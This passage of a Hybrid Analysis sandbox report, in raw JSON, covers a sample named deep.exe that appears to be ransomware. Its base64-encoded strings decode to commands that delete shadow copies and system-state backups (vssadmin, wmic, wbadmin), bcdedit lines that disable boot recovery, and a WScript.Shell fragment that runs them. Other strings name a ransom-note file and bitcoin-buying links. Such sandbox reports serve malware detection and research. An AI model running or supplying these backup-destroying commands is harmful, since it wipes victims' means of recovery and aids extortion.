Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0V29ya2luZ0RpcmVjdG9yeUZyb21UYXJnZXQ=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2hlbGxTdGF0ZQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2hvd0NvbXBDb2xvcg==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2hvd0luZm9UaXA=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2hvd1N1cGVySGlkZGVu","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2hvd1R5cGVPdmVybGF5","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U291cmNlUGF0aA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3BlY2lhbEZvbGRlcnNDYWNoZVNpemU=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3RyZWFtUmVzb3VyY2U=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3RyZWFtUmVzb3VyY2VUeXBl","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtQmlvc1ZlcnNpb24=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtU2V0dXBJblByb2dyZXNz","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VGhlbWVBcGlDb25uZWN0aW9uUmVxdWVzdA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VGhyZWFkaW5nTW9kZWw=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VHJhbnNwYXJlbnRFbmFibGVk","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VFNBcHBDb21wYXQ=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VFNVc2VyRW5hYmxlZA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VU5DQXNJbnRyYW5ldA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VXNlRHJvcEhhbmRsZXI=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VXNlSG9zdG5hbWVBc0FsaWFz","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VXNlT2xkSG9zdFJlc29sdXRpb25PcmRlcg==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VmlkZW9CaW9zVmVyc2lvbg==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2FudHNBbGlhc2VkTm90aWZpY2F0aW9ucw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2FudHNGT1JESVNQTEFZ","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2FudHNGT1JQQVJTSU5H","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2FudHNQYXJzZURpc3BsYXlOYW1l","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2FudHNVbml2ZXJzYWxEZWxlZ2F0ZQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezFCM0VBNURDLUI1ODctNDc4Ni1CNEVGLUJEMURDMzMyQUVBRX0=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezIwRDA0RkUwLTNBRUEtMTA2OS1BMkQ4LTA4MDAyQjMwMzA5RH0=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null}]},{"name":"screen_4.png","strings":[{"value":"XzBfX19fX19vX19fX19fX19fXzBfX18wX19fdV9fXz8/X19f","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_4.png","compromised":null,"detection_total":null,"total":null},{"value":"XzB0dXRfYXR0dF90eS10dHR0eXR0dHN1X3V0dXRfdHRfdHR0dHR0c3R0X191dHR0dHR0Jy1feXR0eXRfdHR0dCdfdHR0bHR0dF90dHRfX3RfdHl5dHR0dF9fX19fX3V5dF9fdHR1X3V0X3V0dHQneV9fdHV0X3R5bGd0bHRfLXRfdHRnX3RzX3RfX3R0dHUndHRzX3R0X195X3l0dXR0dF90dF9fdHR0dHV0X190dXRfdGx5dS10dWx0dHR0dHRfX3RfdHRfdHR0eXR0X3R0X3R0dHR0Nl90X3R0dHR1dHRfX190eXR0X3V0dHRfX3R0LXV1X3VfdF90dF9fdHRfX3R0dHhfdF90dHR0dF90X3R1eXlfcXR0dF91dF91X3Q4dHR5dHl0dXRfdC0teXR0eV9fX195eXRfdEhfdThfdHR0dHVzdXRfX3lzX3V0dS10dHVfdV90dHR0dHRfdHRfX3R0","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_4.png","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcHV0ZXI=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_4.png","compromised":null,"detection_total":null,"total":null},{"value":"R21GX19fX19vX2Job19fZ3Jlb2xyX29lZl80X296X1I5bWxvVGxlbGx4ZWFhb2VkZXI=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_4.png","compromised":null,"detection_total":null,"total":null}]},{"name":"bcdedit.exe","strings":[{"value":"YmNkZWRpdCAgL3NldCB7ZGVmYXVsdH0gYm9vdHN0YXR1c3BvbGljeSBpZ25vcmVhbGxmYWlsdXJlcw==","type":"Ansi","source":"Process Commandline","process":null,"filename":"bcdedit.exe","compromised":null,"detection_total":null,"total":null},{"value":"YmNkZWRpdCAgL3NldCB7ZGVmYXVsdH0gcmVjb3ZlcnllbmFibGVkIE5v","type":"Ansi","source":"Process Commandline","process":null,"filename":"bcdedit.exe","compromised":null,"detection_total":null,"total":null}]},{"name":"deep.exe:3828","strings":[{"value":"ZGVlcC5leGU6Wm9uZS5JZGVudGlmaWVy","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TmV2ZXJEZWZhdWx0","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Tm9TdGF0aWNEZWZhdWx0VmVyYg==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null}]},{"name":"deep.exe:2524","strings":[{"value":"RUlaVU1IV0xVTE1SSEpKQlRGSE1ZTEhZVVJVQVpQQlVOS1FQR1JSRlBUV0tEUE5ISlREU0VQT0pYWllBSUlGSlhMV05PTUlZV1NBQkpSUk5ZTk1JT1BXSE1SVEVTTlJPV0FKU0VGTk5DRExGVFhVRkFZTk1SWUdBVkJCV0tJUUJJVA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SWNvblNlcnZpY2VMaWI=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aVBvaW50U2l6ZQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TGFubWFuV29ya3N0YXRpb24=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bGZDaGFyU2V0","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bGZGYWNlTmFtZQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bGZPcmllbnRhdGlvbg==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bGZTdHJpa2VPdXQ=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bGZVbmRlcmxpbmU=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bGZXZWlnaHQ=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TE1lV0NGeVVYaFlCTFI=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TVFNQUFBQUFBQURKZzZDUUp6MVhCRk9LbnJpN3hnUHBCMTdoZkREZ3ZscTN1SkN0cE9yN0k3QXZramVZM2VNPVFIWEJKZkliZ0s5S0xEbWwyUzRVUzlGSUY2VlI1STNvUDIzdWRvZ1BtPUNUeWtIT1R6NVJuaE5OZjJ3SjBZdzVDSg==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bXNodGEuZXhl","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bm90ZXBhZC5leGUgIiVVU0VSUFJPRklMRSVcSE9XIFRPIFJFQ09WRVIgRU5DUllQVEVEIEZJTEVTLlRYVCI=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bz1uZXcgQWN0aXZlWE9iamVjdCgiV1NjcmlwdC5TaGVsbCIpO28uUnVuKCJjbWQuZXhlIC9jIHdiYWRtaW4gREVMRVRFIFNZU1RFTVNUQVRFQkFDS1VQIC1rZWVwVmVyc2lvbnM6MCIsMCk7by5SdW4oImNtZC5leGUgL2Mgd21pYw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvdmlkZXJPcmRlcg==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvdmlkZXJQYXRo","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2FmZVByb2Nlc3NTZWFyY2hNb2Rl","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U1FNU2VydmljZUxpc3Q=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VGlsZVdhbGxwYXBlcg==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2FsbHBhcGVyU3R5bGU=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null}]},{"name":"notepad.exe:3564","strings":[{"value":"Zk1MRV9pc19icm9rZW4=","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZlNhdmVXaW5kb3dQb3NpdGlvbnM=","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SE9XIFRPIFJFQ09WRVIgRU5DUllQVEVEIEZJTEVTLlRYVA==","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aU1hcmdpbkJvdHRvbQ==","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aU1hcmdpbkxlZnQ=","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aU1hcmdpblJpZ2h0","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aU1hcmdpblRvcA==","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aVdpbmRvd1Bvc0RY","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aVdpbmRvd1Bvc0RZ","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aVdpbmRvd1Bvc1g=","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aVdpbmRvd1Bvc1k=","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bGZDbGlwUHJlY2lzaW9u","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bGZFc2NhcGVtZW50","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bGZPdXRQcmVjaXNpb24=","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bGZQaXRjaEFuZEZhbWlseQ==","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bGZRdWFsaXR5","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGVyY2VpdmVkVHlwZQ==","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3RhdHVzQmFy","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"c3pUcmFpbGVy","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null}]},{"name":"network.pcap","strings":[{"value":"UFNQVUJXUy1QQw==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null}]},{"name":"vssadmin.exe","strings":[{"value":"dnNzYWRtaW4gIERlbGV0ZSBTaGFkb3dzIC9BbGwgL1F1aWV0","type":"Ansi","source":"Process Commandline","process":null,"filename":"vssadmin.exe","compromised":null,"detection_total":null,"total":null}]},{"name":"wbadmin.exe","strings":[{"value":"d2JhZG1pbiAgREVMRVRFIFNZU1RFTVNUQVRFQkFDS1VQIC1rZWVwVmVyc2lvbnM6MA==","type":"Ansi","source":"Process Commandline","process":null,"filename":"wbadmin.exe","compromised":null,"detection_total":null,"total":null}]},{"name":"WMIC.exe","strings":[{"value":"d21pYyAgU0hBRE9XQ09QWSBERUxFVEU=","type":"Ansi","source":"Process Commandline","process":null,"filename":"WMIC.exe","compromised":null,"detection_total":null,"total":null}]}],"image":[]},"http_requests":[],"ftp_requests":[],"irc_requests":[],"strings_resources":["WMIC.pdb","http://protonmail.com","http://www.coindesk.com/information/how-can-i-buy-bitcoins","http://www.sysinternals.com","https://localbitcoins.com/buy","https://localbitcoins.com/buy_bitcoins"],"tags_details":[],"sample_flags":["Multi-Process","Extracted Files"],"suricata_alerts":[],"version_info":[],"apk_info":null,"apps_info":[{"name":"Access","product":null,"version":null},{"name":"Acrobat Reader","product":"Adobe Reader","version":"11.0.9.29"},{"name":"Chrome","product":"Google Chrome","version":"56.0.2924.87"},{"name":"Excel","product":"Microsoft Office 2010","version":"14.0.4756.1000"},{"name":"Firefox","product":"Firefox","version":"35.0.1"},{"name":"Flash","product":null,"version":null},{"name":"Hancom Office Hancell","product":null,"version":null},{"name":"Internet Explorer","product":"Windows Internet Explorer","version":"8.00.7600.16385"},{"name":"Java","product":"Java(TM) Platform SE 8","version":"8.0.25.18"},{"name":"OneNote","product":"Microsoft OneNote","version":"14.0.4763.1000"},{"name":"PowerPoint","product":"Microsoft Office 2010","version":"14.0.4754.1000"},{"name":"Word","product":"Microsoft Office 2010","version":"14.0.4762.1000"}],"architecture":"32 Bit","document":{"author":null,"creator":null,"producer":null,"title":null,"subject":null,"pages":0},"packer":null,"file_imports":[{"module":"kernel32.dll","functions":["lstrcpy"]}],"osint_tags":[],"osint_references":[],"memory_forensics":[],"language":"NEUTRAL","authentihash":"1e924fdfa8b99b8da3d8d9037aa04088163f4072d7d68a2405d3e50fda7d74f0","entrypoint_bytes":null,"pdb_timestamp":null,"pdb_pathway":null,"pdb_guid":null,"file_sections":[{"name":"no name","entropy":7.96742547261,"virtual_address":"0x1000","virtual_size":"0x47000","raw_size":"0x22800","md5":"be2f953e80a75f4cd21d79aa696f0dbd","characteristics":[]},{"name":".rsrc","entropy":7.98945743801,"virtual_address":"0x48000","virtual_size":"0x170eb8","raw_size":"0x171000","md5":"8c17561ff4b095d3d8b35ac2a9a400ac","characteristics":[]},{"name":".idata","entropy":1.02153214722,"virtual_address":"0x1b9000","virtual_size":"0x1000","raw_size":"0x200","md5":"2a0d5465c040e44d997f7153dc834b7a","characteristics":[]},{"name":"no name","entropy":0.24044503451,"virtual_address":"0x1ba000","virtual_size":"0x27f000","raw_size":"0x200","md5":"69c624789817ee6016700c2252a9ba7c","characteristics":[]},{"name":"feemnvdm","entropy":7.91386673414,"virtual_address":"0x439000","virtual_size":"0x2e9000","raw_size":"0x2e8400","md5":"c258a288070697dc9412ec10c3f525d1","characteristics":[]},{"name":"iccgbqzr","entropy":6.21673873923,"virtual_address":"0x722000","virtual_size":"0x1000","raw_size":"0x400","md5":"f643cb29af4ab104820cd9b1eca55204","characteristics":[]}],"file_exports":[],"error":null,"yara_hits":[],"intelligence_mitre_mappings":[],"entrypoint_preview_count":0,"entrypoint_preview_instructions":[],"file_resources":[{"name":"RT_ICON","rva":"0x62f5bc","size":"0x128","type":"GLS_BINARY_LSB_FIRST","language":"neutral"},{"name":"RT_ICON","rva":"0x62f6e4","size":"0x2e8","type":"data","language":"neutral"},{"name":"RT_ICON","rva":"0x62f9cc","size":"0x668","type":"dBase IV DBT of `.DBF, block length 1536, next free block index 40, next free block 224, next used block 1792","language":"neutral"},{"name":"RT_ICON","rva":"0x630034","size":"0x568","type":"GLS_BINARY_LSB_FIRST","language":"neutral"},{"name":"RT_ICON","rva":"0x63059c","size":"0x8a8","type":"data","language":"neutral"},{"name":"RT_ICON","rva":"0x630e44","size":"0xea8","type":"data","language":"neutral"},{"name":"RT_ICON","rva":"0x631cec","size":"0x468","type":"GLS_BINARY_LSB_FIRST","language":"neutral"},{"name":"RT_ICON","rva":"0x632154","size":"0x810","type":"data","language":"neutral"},{"name":"RT_ICON","rva":"0x632964","size":"0x988","type":"data","language":"neutral"},{"name":"RT_ICON","rva":"0x6332ec","size":"0x10a8","type":"data","language":"neutral"},{"name":"RT_ICON","rva":"0x634394","size":"0x25a8","type":"data","language":"neutral"},{"name":"RT_ICON","rva":"0x63693c","size":"0x4228","type":"dBase IV DBT of \\200.DBF, blocks size 0, block length 16896, next free block index 40, next free block 33023, next used block 4278255616","language":"neutral"},{"name":"RT_ICON","rva":"0x63ab64","size":"0x94a8","type":"data","language":"neutral"},{"name":"RT_ICON","rva":"0x64400c","size":"0x10828","type":"dBase IV DBT, blocks size 0, block length 2048, next free block index 40, next free block 0, next used block 0","language":"neutral"},{"name":"RT_ICON","rva":"0x654834","size":"0xb2e9","type":"PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced","language":"neutral"},{"name":"RT_ICON","rva":"0x65fb1d","size":"0x366a1","type":"PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced","language":"neutral"},{"name":"RT_ICON","rva":"0x6961be","size":"0x8ace4","type":"PNG image data, 768 x 768, 8-bit/color RGBA, non-interlaced","language":"neutral"},{"name":"RT_RCDATA","rva":"0x139d54","size":"0x7ed09","type":"data","language":"neutral"},{"name":"RT_GROUP_ICON","rva":"0x720ea2","size":"0xf4","type":"MS Windows icon resource - 17 icons, 16x16, 16 colors","language":"neutral"},{"name":"RT_VERSION","rva":"0x720f96","size":"0x364","type":"data","language":"english"}],"file_permissions":[],"file_activities":[],"file_receivers":[],"file_data_directories":[],"elf_headers":[],"elf_static_symbols":null,"vba_macros":[],"verdict_source":null,"user_comments":[],"email_headers":null,"classification_tags":["evasive"],"tags":["evasive"],"submissions":[{"submission_id":"5b52245b7ca3e14f8f74f2d2","filename":"deep.bin","url":null,"created_at":"2018-07-20T13:05:15-05:00"},{"submission_id":"5b5202227ca3e116275eeb52","filename":"deep.exe","url":null,"created_at":"2018-07-20T10:39:14-05:00"}],"crowdstrike_ai":{"executable_process_memory_analysis":[],"analysis_related_urls":[]},"warnings":["Not all sources for indicator ID \"api-2\" are available in the report","Not all sources for indicator ID \"api-47\" are available in the report","Not all sources for indicator ID \"api-51\" are available in the report","Not all sources for indicator ID \"api-55\" are available in the report","Not all sources for indicator ID \"api-70\" are available in the report","Not all sources for indicator ID \"api-9\" are available in the report","Not all sources for indicator ID \"mutant-0\" are available in the report","Not all sources for indicator ID \"target-103\" are available in the report","Not all sources for indicator ID \"target-25\" are available in the report","Some low-level data is hidden, as this is only a slim report"],"report_related_files":{"report_json":{"file_name":"report.json","download_url":"/bff/report/5b5202227ca3e116275eeb53/download/files/report_json","file_size":1376551},"memory_strings":{"file_name":"mstrings.zip","download_url":"/bff/report/5b5202227ca3e116275eeb53/download/files/memory_strings","file_size":21219},"certificate":null,"network_pcap":{"file_name":"network.pcap","download_url":"/bff/report/5b5202227ca3e116275eeb53/download/files/network_pcap","file_size":694},"memory_dumps":null},"system_resource_monitor":null,"external_reports":null,"available_buttons":{"report_false_positive":true},"hashes_to_context_check":["9e54b2b929422550c4b0c48e7423a2796bb3c2c43ff5f1ff4e6ea1ca4e6655bb","fee4182e7afe915e3bd780a2199949bcf8ab61a1abae7d3f2a8179dd60abc900","b9727eb82291f92f653a174126b4fb164006434b7fa82a6f9d2e11936cf4495f","17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","db40b518deb81b146cc81b0c360aecc84204e3cdc108b1f5f158ee60c1792806","be527c6085cd944097de35b9740fc4dd24d455567bec596e9cc300d70c5a392d","132aa270790f56a7524cab968927ed5e1d91b9a26d4badcb24e450e7decc5f81","e09bf4d27555ec7567a598ba89ccc33667252cef1fb0b604315ea7562d18ad10","aa501dc5b621527b0e3dd2787d4969647631c4904d3ae9fc06d177251bc760e3","d468e6b1b79555ac8bce0300942fd479689eb8f159f3a399848d3bf9b9990a56","c4232ddd4d37b9c0884bd44d8476578c54d7f98d58945728e425736a6a07e102"]}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious — Falcon Sandbox Report 5b5202227ca3… — Score 100/100 — Sample 9e54b2b92942… | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sandbox report 5b5202227ca3…. Threat score 100/100. 10 malicious and 19 suspicious behavioral indicators across 59 signatures. Detonated in Windows 7 32 bit. View behavioral indicators, network activity, dropped files, and MITRE ATT&CK mappings."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/9e54b2b929422550c4b0c48e7423a2796bb3c2c43ff5f1ff4e6ea1ca4e6655bb/5b5202227ca3e116275eeb53"}],["$","meta","4",{"property":"og:title","content":"Malicious — Falcon Sandbox Report 5b5202227ca3… — Score 100/100 — Sample 9e54b2b92942… | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sandbox report 5b5202227ca3…. Threat score 100/100. 10 malicious and 19 suspicious behavioral indicators across 59 signatures. Detonated in Windows 7 32 bit. View behavioral indicators, network activity, dropped files, and MITRE ATT&CK mappings."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/9e54b2b929422550c4b0c48e7423a2796bb3c2c43ff5f1ff4e6ea1ca4e6655bb/5b5202227ca3e116275eeb53"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious — Falcon Sandbox Report 5b5202227ca3… — Score 100/100 — Sample 9e54b2b92942… | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sandbox report 5b5202227ca3…. Threat score 100/100. 10 malicious and 19 suspicious behavioral indicators across 59 signatures. Detonated in Windows 7 32 bit. View behavioral indicators, network activity, dropped files, and MITRE ATT&CK mappings."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L37","11",{}]]